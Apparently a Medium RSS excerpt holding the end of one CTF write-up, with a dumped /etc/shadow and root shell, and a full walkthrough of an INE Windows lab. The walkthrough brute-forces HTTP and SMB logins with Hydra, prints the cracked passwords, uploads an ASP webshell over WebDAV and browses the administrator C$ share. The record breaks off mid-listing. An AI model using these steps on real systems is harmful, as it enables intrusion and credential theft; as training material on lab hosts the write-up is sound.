/etc/shadow<br>root:*:14871::::::<br>alpm:!*:20037::::::<br>bin:!*:20037::::::<br>daemon:!*:20037::::::<br>mail:!*:20037::::::<br>ftp:!*:20037::::::<br>http:!*:20037::::::<br>nobody:!*:20037::::::<br>dbus:!*:20037::::::<br>systemd-coredump:!*:20037::::::<br>systemd-network:!*:20037::::::<br>systemd-oom:!*:20037::::::<br>systemd-journal-remote:!*:20037::::::<br>systemd-resolve:!*:20037::::::<br>systemd-timesync:!*:20037::::::<br>tss:!*:20037::::::<br>uuidd:!*:20037::::::<br>user:!:20041:0:99999:7:::<br>[root@target2 ~]# ls <br>ls<br>flag.txt  greetings  welcome<br>[root@target2 ~]# cd /root<br>cd /root<br>[root@target2 root]# ls -la<br>ls -la<br>total 16<br>drwxr-x--- 1 root root 4096 Mar 24 08:37 .<br>drwxr-xr-x 1 root root 4096 Mar 24 08:37 ..<br>drwx------ 2 root root 4096 Nov 14 08:27 .ssh<br>-rw-r--r-- 1 root root   39 Mar 24 08:37 flag.txt<br>[root@target2 root]# cat flag.txt<br>cat flag.txt<br>FLAG4_fb6b488963cf46128c46cd4c8f7cfee5<br></pre><p>This concluded the CTF challenge.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=0a61bbc826ad" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[INE — Host & Network Penetration Testing: System-Host Based Attacks CTF 1]]></title>
            <link>https://medium.com/@ashidijoy52/ine-host-network-penetration-testing-system-host-based-attacks-ctf-1-f18c16c7a6eb?source=rss-f1cca3b23df2------2</link>
            <guid isPermaLink="false">https://medium.com/p/f18c16c7a6eb</guid>
            <dc:creator><![CDATA[Joy Ashidi]]></dc:creator>
            <pubDate>Sat, 22 Mar 2025 19:53:16 GMT</pubDate>
            <atom:updated>2025-03-22T19:53:16.648Z</atom:updated>
            <content:encoded><![CDATA[<h3>INE — Host &amp; Network Penetration Testing: System-Host Based Attacks CTF 1</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3K0jEPW4vKBSZa7-vO5hJA.png" /></figure><p>System-host based attacks are targeted towards a specific system or host running a particular operating system, such as Windows or Linux. This Capture the Flag (CTF) challenge involves a Windows system and has four (4) flags to be captured.</p><p><strong>Information Gathering</strong></p><p>Before starting the lab, INE provided wordlists to be used for this CTF, along with the path to a webshell.asp file, which might serve as a payload. I decided to check the flag hints and noticed that they mentioned a second target system. This led me to consider two possibilities: either the challenge involves pivoting, or it simply includes an additional target to work on.</p><pre>─# cat /etc/hosts<br>127.0.0.1       localhost<br>::1     localhost ip6-localhost ip6-loopback<br>fe00::0 ip6-localnet<br>ff00::0 ip6-mcastprefix<br>ff02::1 ip6-allnodes<br>ff02::2 ip6-allrouters<br>10.1.0.4        INE<br>127.0.0.1 AttackDefense-Kali<br>10.10.49.2      INE<br>10.2.27.216    target1.ine.local<br>10.2.16.5    target2.ine.local<br><br>┌──(root㉿INE)-[~]<br>└─# ping -c 4 target1.ine.local<br>PING target1.ine.local (10.2.27.216) 56(84) bytes of data.<br>64 bytes from target1.ine.local (10.2.27.216): icmp_seq=1 ttl=125 time=4.05 ms<br>64 bytes from target1.ine.local (10.2.27.216): icmp_seq=2 ttl=125 time=2.35 ms<br>64 bytes from target1.ine.local (10.2.27.216): icmp_seq=3 ttl=125 time=2.33 ms<br>64 bytes from target1.ine.local (10.2.27.216): icmp_seq=4 ttl=125 time=2.85 ms<br><br>--- target1.ine.local ping statistics ---<br>4 packets transmitted, 4 received, 0% packet loss, time 3004ms<br>rtt min/avg/max/mdev = 2.331/2.893/4.045/0.696 ms<br><br>┌──(root㉿INE)-[~]<br>└─# ping -c 4 target2.ine.local                                                                                                                          <br>PING target2.ine.local (10.2.16.5) 56(84) bytes of data.<br>64 bytes from target2.ine.local (10.2.16.5): icmp_seq=1 ttl=125 time=3.97 ms<br>64 bytes from target2.ine.local (10.2.16.5): icmp_seq=2 ttl=125 time=2.46 ms<br>64 bytes from target2.ine.local (10.2.16.5): icmp_seq=3 ttl=125 time=2.38 ms<br>64 bytes from target2.ine.local (10.2.16.5): icmp_seq=4 ttl=125 time=2.51 ms</pre><p>After configuring /etc/hosts, I confirmed that the challenge included two (2) target systems. I pinged both to verify their accessibility, and both responded correctly. In this case, pivoting was not required.</p><p><strong>Port Scanning</strong></p><p>I used Nmap to scan the available ports on the target systems. I conducted scans on both systems.</p><pre>┌──(root㉿INE)-[~]<br>└─# nmap -sVCS -O target1.ine.local<br>Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-03-22 23:30 IST<br>Nmap scan report for target1.ine.local (10.2.27.216)<br>Host is up (0.0023s latency).<br>Not shown: 995 closed tcp ports (reset)<br>PORT     STATE SERVICE       VERSION<br>80/tcp   open  http          Microsoft IIS httpd 10.0<br>| http-auth: <br>| HTTP/1.1 401 Unauthorized\x0D<br>|_  Basic realm=target1.ine.local<br>|_http-title: 401 - Unauthorized: Access is denied due to invalid credentials.<br>|_http-server-header: Microsoft-IIS/10.0<br>135/tcp  open  msrpc         Microsoft Windows RPC<br>139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn<br>445/tcp  open  microsoft-ds?<br>3389/tcp open  ms-wbt-server Microsoft Terminal Services<br>| rdp-ntlm-info: <br>|   Target_Name: EC2AMAZ-JVD17HK<br>|   NetBIOS_Domain_Name: EC2AMAZ-JVD17HK<br>|   NetBIOS_Computer_Name: EC2AMAZ-JVD17HK<br>|   DNS_Domain_Name: EC2AMAZ-JVD17HK<br>|   DNS_Computer_Name: EC2AMAZ-JVD17HK<br>|   Product_Version: 10.0.17763<br>|_  System_Time: 2025-03-22T18:00:21+00:00<br>| ssl-cert: Subject: commonName=EC2AMAZ-JVD17HK<br>| Not valid before: 2024-12-31T07:25:48<br>|_Not valid after:  2025-07-02T07:25:48<br>|_ssl-date: 2025-03-22T18:00:29+00:00; -1s from scanner time.<br>No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).<br>TCP/IP fingerprint:<br>OS:SCAN(V=7.94SVN%E=4%D=3/22%OT=80%CT=1%CU=35439%PV=Y%DS=3%DC=I%G=Y%TM=67DE<br>OS:FABE%P=x86_64-pc-linux-gnu)SEQ(SP=108%GCD=1%ISR=10B%TI=I%CI=I%II=I%SS=S%<br>OS:TS=U)SEQ(SP=108%GCD=2%ISR=10B%TI=I%CI=I%II=I%SS=S%TS=U)OPS(O1=M546NW8NNS<br>OS:%O2=M546NW8NNS%O3=M546NW8%O4=M546NW8NNS%O5=M546NW8NNS%O6=M546NNS)WIN(W1=<br>OS:FFFF%W2=FFFF%W3=FFFF%W4=FFFF%W5=FFFF%W6=FF70)ECN(R=Y%DF=Y%T=7F%W=FFFF%O=<br>OS:M546NW8NNS%CC=Y%Q=)T1(R=Y%DF=Y%T=7F%S=O%A=S+%F=AS%RD=0%Q=)T2(R=Y%DF=Y%T=<br>OS:7F%W=0%S=Z%A=S%F=AR%O=%RD=0%Q=)T3(R=Y%DF=Y%T=7F%W=0%S=Z%A=O%F=AR%O=%RD=0<br>OS:%Q=)T4(R=Y%DF=Y%T=7F%W=0%S=A%A=O%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=7F%W=0%S=Z<br>OS:%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=7F%W=0%S=A%A=O%F=R%O=%RD=0%Q=)T7(R=Y<br>OS:%DF=Y%T=7F%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=7F%IPL=164%UN=0%RI<br>OS:PL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=7F%CD=Z)<br><br>Network Distance: 3 hops<br>Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows<br><br>Host script results:<br>|_clock-skew: mean: -1s, deviation: 0s, median: -1s<br>| smb2-security-mode: <br>|   3:1:1: <br>|_    Message signing enabled but not required<br>| smb2-time: <br>|   date: 2025-03-22T18:00:22<br>|_  start_date: N/A<br><br>OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .<br>Nmap done: 1 IP address (1 host up) scanned in 26.79 seconds<br><br>┌──(root㉿INE)-[~]<br>└─# nmap -sVCS -O target2.ine.local                                                                                                                       <br>Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-03-22 23:30 IST<br>Stats: 0:00:01 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan<br>SYN Stealth Scan Timing: About 31.15% done; ETC: 23:30 (0:00:02 remaining)<br> Nmap scan report for target2.ine.local (10.2.16.5)<br>Host is up (0.0023s latency).<br>Not shown: 996 closed tcp ports (reset)<br>PORT     STATE SERVICE       VERSION<br>135/tcp  open  msrpc         Microsoft Windows RPC<br>139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn<br>445/tcp  open  microsoft-ds  Windows Server 2019 Datacenter 17763 microsoft-ds<br>3389/tcp open  ms-wbt-server Microsoft Terminal Services<br>| ssl-cert: Subject: commonName=EC2AMAZ-3SC2DRK<br>| Not valid before: 2024-12-31T08:26:27<br>|_Not valid after:  2025-07-02T08:26:27<br>| rdp-ntlm-info: <br>|   Target_Name: EC2AMAZ-3SC2DRK<br>|   NetBIOS_Domain_Name: EC2AMAZ-3SC2DRK<br>|   NetBIOS_Computer_Name: EC2AMAZ-3SC2DRK<br>|   DNS_Domain_Name: EC2AMAZ-3SC2DRK<br>|   DNS_Computer_Name: EC2AMAZ-3SC2DRK<br>|   Product_Version: 10.0.17763<br>|_  System_Time: 2025-03-22T18:00:56+00:00<br>|_ssl-date: 2025-03-22T18:01:06+00:00; 0s from scanner time.<br>No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).<br>TCP/IP fingerprint:<br>OS:SCAN(V=7.94SVN%E=4%D=3/22%OT=135%CT=1%CU=33559%PV=Y%DS=3%DC=I%G=Y%TM=67D<br>OS:EFAE2%P=x86_64-pc-linux-gnu)SEQ(SP=109%GCD=1%ISR=10B%TI=I%CI=I%II=I%SS=S<br>OS:%TS=U)OPS(O1=M546NW8NNS%O2=M546NW8NNS%O3=M546NW8%O4=M546NW8NNS%O5=M546NW<br>OS:8NNS%O6=M546NNS)WIN(W1=FFFF%W2=FFFF%W3=FFFF%W4=FFFF%W5=FFFF%W6=FF70)ECN(<br>OS:R=Y%DF=Y%T=7F%W=FFFF%O=M546NW8NNS%CC=Y%Q=)T1(R=Y%DF=Y%T=7F%S=O%A=S+%F=AS<br>OS:%RD=0%Q=)T2(R=Y%DF=Y%T=7F%W=0%S=Z%A=S%F=AR%O=%RD=0%Q=)T3(R=Y%DF=Y%T=7F%W<br>OS:=0%S=Z%A=O%F=AR%O=%RD=0%Q=)T4(R=Y%DF=Y%T=7F%W=0%S=A%A=O%F=R%O=%RD=0%Q=)T<br>OS:5(R=Y%DF=Y%T=7F%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=7F%W=0%S=A%A=<br>OS:O%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=7F%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF<br>OS:=N%T=7F%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=7F<br>OS:%CD=Z)<br><br>Network Distance: 3 hops<br>Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows<br><br>Host script results:<br>| smb2-time: <br>|   date: 2025-03-22T18:01:00<br>|_  start_date: N/A<br>| smb-os-discovery: <br>|   OS: Windows Server 2019 Datacenter 17763 (Windows Server 2019 Datacenter 6.3)<br>|   Computer name: EC2AMAZ-3SC2DRK<br>|   NetBIOS computer name: EC2AMAZ-3SC2DRK\x00<br>|   Workgroup: WORKGROUP\x00<br>|_  System time: 2025-03-22T18:01:01+00:00<br>| smb-security-mode: <br>|   account_used: guest<br>|   authentication_level: user<br>|   challenge_response: supported<br>|_  message_signing: disabled (dangerous, but default)<br>|_clock-skew: mean: 0s, deviation: 2s, median: 0s<br>| smb2-security-mode: <br>|   3:1:1: <br>|_    Message signing enabled but not required<br><br>OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .<br>Nmap done: 1 IP address (1 host up) scanned in 26.51 seconds</pre><p>From the scan results, the first target system had ports <strong>80, 135, 139, 445,</strong> and <strong>3389</strong> open, corresponding to <strong>HTTP, RPC, NetBIOS, SMB,</strong> and <strong>RDP</strong> services, respectively. The second system had ports <strong>135, 139, 445,</strong> and <strong>3389</strong> open, running <strong>RPC, NetBIOS, SMB, and RDP services.</strong></p><p><strong>Enumeration and Capturing Flags</strong></p><p><strong><em>Target System 1:</em></strong></p><p>From the scan results, I noticed that port <strong>80</strong> displayed a message stating: <em>“Unauthorized: Access is denied due to invalid credentials.”</em> This prompted me to open the system in my web browser, where I confirmed that access was restricted without valid credentials.</p><p>Using the wordlists provided by INE, I decided to perform a brute-force attack to retrieve the login credentials.</p><pre>hydra -L /usr/share/metasploit-framework/data/wordlists/common_users.txt -P /usr/share/metasploit-framework/data/wordlists/unix_passwords.txt target1.ine.local http-get /<br>Hydra v9.5 (c) 2023 by van Hauser/THC &amp; David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).<br><br>Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-03-22 23:33:59<br>[DATA] max 16 tasks per 1 server, overall 16 tasks, 7070 login tries (l:7/p:1010), ~442 tries per task<br>[DATA] attacking http-get://target1.ine.local:80/<br>1 of 1 target completed, 0 valid password found<br>Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-03-22 23:34:48<br><br>┌──(root㉿INE)-[~]<br>└─# hydra -l bob -P /usr/share/metasploit-framework/data/wordlists/unix_passwords.txt target1.ine.local http-get /Hydra v9.5 (c) 2023 by van Hauser/THC &amp; David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).<br><br>Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-03-22 23:35:24<br>[DATA] max 16 tasks per 1 server, overall 16 tasks, 1010 login tries (l:1/p:1010), ~64 tries per task<br>[DATA] attacking http-get://target1.ine.local:80/<br>[80][http-get] host: target1.ine.local   login: bob   password: password_123321<br>1 of 1 target successfully completed, 1 valid password found<br>Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-03-22 23:35:32</pre><p>I was unable to retrieve valid credentials using the provided user list. However, after checking the flag hints, I noticed a mention of a user named <strong>“bob.”</strong> I then performed the brute-force attack again using this username and successfully obtained valid credentials.</p><p><strong>Flag 1: User ‘bob’ might not have chosen a strong password. Try common passwords. (target1.ine.local)</strong></p><p>After logging into the webpage, I found that it didn’t provide much useful information. I attempted to gather more details using <strong>curl</strong> and <strong>robots.txt,</strong> but neither yielded any significant results. To further explore the system, I used <strong>dirb</strong> to enumerate available directories. This revealed the presence of a <strong>webdav</strong> directory, which immediately connected to why INE had provided the <em>webshell.asp</em> path. I then captured a flag from the <strong>webdav</strong> directory.</p><pre>┌──(root㉿INE)-[~]<br>└─# dirb http://target1.ine.local/ -u bob:password_123321                                                                                           <br><br>-----------------<br>DIRB v2.22    <br>By The Dark Raver<br>-----------------<br><br>START_TIME: Sat Mar 22 23:49:08 2025<br>URL_BASE: http://target1.ine.local/<br>WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt<br>AUTHORIZATION: bob:password_123321<br><br>-----------------<br><br>GENERATED WORDS: 4612                                                          <br><br>---- Scanning URL: http://target1.ine.local/ ----<br>==&gt; DIRECTORY: http://target1.ine.local/aspnet_client/                                                                                                    <br>==&gt; DIRECTORY: http://target1.ine.local/webdav/                                                                                                           <br>                                                                                                                                                          <br>---- Entering directory: http://target1.ine.local/aspnet_client/ ----<br>==&gt; DIRECTORY: http://target1.ine.local/aspnet_client/system_web/                                                                                         <br>                                                                                                                                                          <br>---- Entering directory: http://target1.ine.local/webdav/ ----<br>(!) WARNING: Directory IS LISTABLE. No need to scan it.                        <br>    (Use mode &#39;-w&#39; if you want to scan it anyway)<br>                                                                                                                                                          <br>---- Entering directory: http://target1.ine.local/aspnet_client/system_web/ ----<br>                                                                                                                                                          <br>-----------------<br>END_TIME: Sat Mar 22 23:49:49 2025<br>DOWNLOADED: 13836 - FOUND: 0</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*aSkX5sU-U_N2ve9I0BZTPw.png" /><figcaption>Login Page</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZkcYU5DezAdHiX770MoEyw.png" /><figcaption>Webdav directory</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*uDFfJzVeiUdelRNGesuPug.png" /><figcaption>FLAG1 Captured</figcaption></figure><p>I used <strong>davtest</strong> to check the permitted extensions, suspecting that <strong>.asp</strong> might be allowed — and I was right.</p><pre>┌──(root㉿INE)-[~]<br>└─# davtest -auth bob:password_123321 -url http://target1.ine.local<br>********************************************************<br> Testing DAV connection<br>OPEN            SUCCEED:                http://target1.ine.local<br>********************************************************<br>NOTE    Random string for this session: lh70a8wEOrCmNs<br>********************************************************<br> Creating directory<br>MKCOL           SUCCEED:                Created http://target1.ine.local/DavTestDir_lh70a8wEOrCmNs<br>********************************************************<br> Sending test files<br>PUT     html    SUCCEED:        http://target1.ine.local/DavTestDir_lh70a8wEOrCmNs/davtest_lh70a8wEOrCmNs.html<br>PUT     shtml   SUCCEED:        http://target1.ine.local/DavTestDir_lh70a8wEOrCmNs/davtest_lh70a8wEOrCmNs.shtml<br>PUT     asp     SUCCEED:        http://target1.ine.local/DavTestDir_lh70a8wEOrCmNs/davtest_lh70a8wEOrCmNs.asp<br>PUT     jsp     SUCCEED:        http://target1.ine.local/DavTestDir_lh70a8wEOrCmNs/davtest_lh70a8wEOrCmNs.jsp<br>PUT     txt     SUCCEED:        http://target1.ine.local/DavTestDir_lh70a8wEOrCmNs/davtest_lh70a8wEOrCmNs.txt<br>PUT     cfm     SUCCEED:        http://target1.ine.local/DavTestDir_lh70a8wEOrCmNs/davtest_lh70a8wEOrCmNs.cfm<br>PUT     php     SUCCEED:        http://target1.ine.local/DavTestDir_lh70a8wEOrCmNs/davtest_lh70a8wEOrCmNs.php<br>PUT     cgi     SUCCEED:        http://target1.ine.local/DavTestDir_lh70a8wEOrCmNs/davtest_lh70a8wEOrCmNs.cgi<br>PUT     aspx    SUCCEED:        http://target1.ine.local/DavTestDir_lh70a8wEOrCmNs/davtest_lh70a8wEOrCmNs.aspx<br>PUT     pl      SUCCEED:        http://target1.ine.local/DavTestDir_lh70a8wEOrCmNs/davtest_lh70a8wEOrCmNs.pl<br>PUT     jhtml   SUCCEED:        http://target1.ine.local/DavTestDir_lh70a8wEOrCmNs/davtest_lh70a8wEOrCmNs.jhtml<br>********************************************************<br> Checking for test file execution<br>EXEC    html    SUCCEED:        http://target1.ine.local/DavTestDir_lh70a8wEOrCmNs/davtest_lh70a8wEOrCmNs.html<br>EXEC    html    FAIL<br>EXEC    shtml   SUCCEED:        http://target1.ine.local/DavTestDir_lh70a8wEOrCmNs/davtest_lh70a8wEOrCmNs.shtml<br>EXEC    shtml   FAIL<br>EXEC    asp     SUCCEED:        http://target1.ine.local/DavTestDir_lh70a8wEOrCmNs/davtest_lh70a8wEOrCmNs.asp<br>EXEC    asp     FAIL<br>EXEC    jsp     FAIL<br>EXEC    txt     SUCCEED:        http://target1.ine.local/DavTestDir_lh70a8wEOrCmNs/davtest_lh70a8wEOrCmNs.txt<br>EXEC    txt     FAIL<br>EXEC    cfm     FAIL<br>EXEC    php     FAIL<br>EXEC    cgi     FAIL<br>EXEC    aspx    SUCCEED:        http://target1.ine.local/DavTestDir_lh70a8wEOrCmNs/davtest_lh70a8wEOrCmNs.aspx<br>EXEC    aspx    FAIL<br>EXEC    pl      FAIL<br>EXEC    jhtml   FAIL<br><br>********************************************************<br>/usr/bin/davtest Summary:<br>Created: http://target1.ine.local/DavTestDir_lh70a8wEOrCmNs<br>PUT File: http://target1.ine.local/DavTestDir_lh70a8wEOrCmNs/davtest_lh70a8wEOrCmNs.html<br>PUT File: http://target1.ine.local/DavTestDir_lh70a8wEOrCmNs/davtest_lh70a8wEOrCmNs.shtml<br>PUT File: http://target1.ine.local/DavTestDir_lh70a8wEOrCmNs/davtest_lh70a8wEOrCmNs.asp<br>PUT File: http://target1.ine.local/DavTestDir_lh70a8wEOrCmNs/davtest_lh70a8wEOrCmNs.jsp<br>PUT File: http://target1.ine.local/DavTestDir_lh70a8wEOrCmNs/davtest_lh70a8wEOrCmNs.txt<br>PUT File: http://target1.ine.local/DavTestDir_lh70a8wEOrCmNs/davtest_lh70a8wEOrCmNs.cfm<br>PUT File: http://target1.ine.local/DavTestDir_lh70a8wEOrCmNs/davtest_lh70a8wEOrCmNs.php<br>PUT File: http://target1.ine.local/DavTestDir_lh70a8wEOrCmNs/davtest_lh70a8wEOrCmNs.cgi<br>PUT File: http://target1.ine.local/DavTestDir_lh70a8wEOrCmNs/davtest_lh70a8wEOrCmNs.aspx<br>PUT File: http://target1.ine.local/DavTestDir_lh70a8wEOrCmNs/davtest_lh70a8wEOrCmNs.pl<br>PUT File: http://target1.ine.local/DavTestDir_lh70a8wEOrCmNs/davtest_lh70a8wEOrCmNs.jhtml<br>Executes: http://target1.ine.local/DavTestDir_lh70a8wEOrCmNs/davtest_lh70a8wEOrCmNs.html<br>Executes: http://target1.ine.local/DavTestDir_lh70a8wEOrCmNs/davtest_lh70a8wEOrCmNs.shtml<br>Executes: http://target1.ine.local/DavTestDir_lh70a8wEOrCmNs/davtest_lh70a8wEOrCmNs.asp<br>Executes: http://target1.ine.local/DavTestDir_lh70a8wEOrCmNs/davtest_lh70a8wEOrCmNs.txt<br>Executes: http://target1.ine.local/DavTestDir_lh70a8wEOrCmNs/davtest_lh70a8wEOrCmNs.aspx</pre><p>I logged in via <strong>Cadaver</strong> using the valid credentials, uploaded the <strong>webshell.asp</strong> payload, and refreshed the <strong>WebDAV</strong> directory on the webpage. The upload was successful, and upon further inspection, I noticed some suspicious files. In the process, I captured <strong>Flag 2</strong>.</p><p><strong>Flag 2: Valuable files are often on the C: drive. Explore it thoroughly. (target1.ine.local)</strong></p><pre>──(root㉿INE)-[~]<br>└─# cadaver http://target1.ine.local<br>Authentication required for target1.ine.local on server `target1.ine.local&#39;:<br>Username: bob<br>Password: <br>Authentication required for target1.ine.local on server `target1.ine.local&#39;:<br>Username: bob<br>Password: <br>dav:/&gt; ls<br>Listing collection `/&#39;: succeeded.<br>Coll:   aspnet_client                          0  Dec 31 13:59<br>Coll:   webdav                                 0  Mar 22 23:25<br>        iisstart.htm                         703  Dec 31 12:48<br>        iisstart.png                       99710  Dec 31 12:48<br>        web.config                           154  Dec 31 13:05<br>dav:/&gt; cd webdav<br>dav:/webdav/&gt; ls<br>Listing collection `/webdav/&#39;: succeeded.<br>        flag1.txt                             34  Mar 22 23:25<br>        readme.txt                            18  Dec 31 13:20<br>        test.asp                              61  Dec 31 14:04<br>        web.config                           168  Dec 31 14:08<br>dav:/webdav/&gt; put /usr/share/webshells/asp/webshell.asp<br>Uploading /usr/share/webshells/asp/webshell.asp to `/webdav/webshell.asp&#39;:<br>Progress: [=============================&gt;] 100.0% of 1362 bytes succeeded.<br>dav:/webdav/&gt; ls<br>Listing collection `/webdav/&#39;: succeeded.<br>        flag1.txt                             34  Mar 22 23:25<br>        readme.txt                            18  Dec 31 13:20<br>        test.asp                              61  Dec 31 14:04<br>        web.config                           168  Dec 31 14:08<br>        webshell.asp                        1362  Mar 22 23:56<br>dav:/webdav/&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LFMePaAXIemhiLGv9wWVpg.png" /><figcaption>Refreshed Webdav directory</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YJvW8FNj5n8ovKjmVZi3zg.png" /><figcaption>Webshell.asp</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VNnu1pX3sB5-DYJldmhJVQ.png" /><figcaption>Further exploration</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*R83q3SsnNMbahWFrly9l0g.png" /><figcaption>Flag2.txt</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*I7TY4arGr85II_oXUYMnag.png" /><figcaption>Got flag2 by type c:\flag2.txt</figcaption></figure><p><strong><em>Target system 2</em></strong><br>From the scan results, <strong>port 445</strong> caught my attention, so I decided to enumerate it. Since <strong>SMB</strong> typically requires authentication, I used <strong>Hydra</strong> to perform a brute-force attack with the two wordlists provided by INE. This allowed me to find valid credentials.</p><pre>hydra -L /usr/share/metasploit-framework/data/wordlists/common_users.txt -P /usr/share/metasploit-framework/data/wordlists/unix_passwords.txt smb://target2.ine.local<br>Hydra v9.5 (c) 2023 by van Hauser/THC &amp; David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).<br><br>Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-03-22 23:34:58<br>[INFO] Reduced number of tasks to 1 (smb does not like parallel connections)<br>[DATA] max 1 task per 1 server, overall 1 task, 7070 login tries (l:7/p:1010), ~7070 tries per task<br>[DATA] attacking smb://target2.ine.local:445/<br>[445][smb] host: target2.ine.local   login: rooty   password: spongebob<br>[445][smb] host: target2.ine.local   login: demo   password: password1<br>[445][smb] host: target2.ine.local   login: auditor   password: hellokitty<br>[445][smb] host: target2.ine.local   login: administrator   password: pineapple<br>1 of 1 target successfully completed, 4 valid passwords found<br>Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-03-22 23:35:43</pre><p>From the brute-force results, I discovered an administrator credential, which I used to explore <strong>smbclient</strong>. Through extensive enumeration, I was able to capture two flags.</p><p><strong>Flag 3: SMB shares might contain hidden files. Check the available shares. (target2.ine.local)</strong></p><p><strong>Flag 4: The Desktop directory might have what you’re looking for. Enumerate its contents. (target2.ine.local)</strong></p><pre>┌──(root㉿INE)-[~]<br>└─# smbclient -L \\\\target2.ine.local\\ -U administrator<br>Password for [WORKGROUP\administrator]:<br><br>        Sharename       Type      Comment<br>        ---------       ----      -------<br>        ADMIN$          Disk      Remote Admin<br>        C$              Disk      Default share<br>        IPC$            IPC       Remote IPC<br>        Shared          Disk      <br>        Shared2         Disk      <br>        Shared3         Disk      <br>Reconnecting with SMB1 for workgroup listing.<br>do_connect: Connection to target2.ine.local failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)<br>Unable to connect with SMB1 -- no workgroup available</pre><pre>┌──(root㉿INE)-[~]<br>└─# smbclient \\\\target2.ine.local\\C$ -U administrator                                                                                               <br>Password for [WORKGROUP\administrator]:<br>Try &quot;help&quot; to get a list of possible commands.<br>smb: \&gt; ls<br>  $Recycle.Bin                      DHS        0  Sat Nov  7 13:45:59 2020<br>  Boot                              DHS        0  Wed Sep  9 10:08:52 2020<br>  bootmgr                          AHSR   408692  Wed Sep  9 10:03:42 2020<br>  BOOTNXT                           AHS        1  Sat Sep 15 12:42:30 2018<br>  Documents and Settings          DHSrn        0  Wed Nov 14 21:40:15 2018<br>  EFI                                 D        0  Wed Nov 14 12:26:18 2018<br>  flag3.txt                           A       34  Sat Mar 22 23:25:14 2025<br>  pagefile.sys                      AHS 2013265920  Sat Mar 22 23:25:05 2025<br>  PerfLogs                            D        0  Wed May 13 23:28:09 2020<br>  Program Files                      DR        0  Sat Nov  7 13:17:23 2020<br>  Program Files (x86)                 D        0  Sat Nov  7 13:17:24 2020<br>  ProgramData                       DHn        0  Wed Jan  1 13:47:15 2025<br>  Recovery                         DHSn        0  Wed Jan  1 13:54:07 2025<br>  Shared                              D        0  Tue Dec 31 16:59:14 2024<br>  System Volume Information         DHS        0  Sat Nov  7 12:06:43 2020<br>  Users                              DR        0  Wed Jan  1 14:00:24 2025<br>  Utilities                           D        0  Sat Nov  7 13:19:05 2020<br>  Windows                             D        0  Sat Mar 22 23:30:07 2025<br><br>                7863807 blocks of size 4096. 3640207 blocks available<br>smb: \&gt; get flag3.txt<br>getting file \flag3.txt of size 34 as flag3.txt (3.7 KiloBytes/sec) (average 3.7 KiloBytes/sec)<br>smb: \&gt; cd Users<br>smb: \Users\&gt; ls<br>  .                                  DR        0  Wed Jan  1 14:00:24 2025<br>  ..                                 DR        0  Wed Jan  1 14:00:24 2025<br>  Administrator                       D        0  Wed Jan  1 14:00:31 2025<br>  All Users                       DHSrn        0  Sat Sep 15 12:58:48 2018<br>  Default                           DHR        0  Wed Jan  1 13:54:41 2025<br>  Default User                    DHSrn        0  Sat Sep 15 12:58:48 2018<br>  desktop.ini                       AHS      174  Sat Sep 15 12:46:48 2018<br>  Public                             DR        0  Wed Dec 12 13:15:15 2018<br>  student                             D        0  Sat Nov  7 13:45:57 2020<br><br>                7863807 blocks of size 4096. 3640207 blocks available<br>smb: \Users\&gt; cd Administrator<br>smb: \Users\Administrator\&gt; ls<br>  .                                   D        0  Wed Jan  1 14:00:31 2025<br>  ..                                  D        0  Wed Jan  1 14:00:31 2025<br>  3D Objects                         DR        0  Wed Jan  1 14:00:35 2025<br>  AppData                            DH        0  Wed Nov 14 21:47:25 2018<br>  Application Data                DHSrn        0  Wed Jan  1 14:00:31 2025<br>  Contacts                           DR        0  Wed Jan  1 14:00:35 2025<br>  Cookies                         DHSrn        0  Wed Jan  1 14:00:31 2025<br>  Desktop                            DR        0  Wed Jan  1 14:00:35 2025<br>  Documents                          DR        0  Wed Jan  1 14:00:35 2025<br> 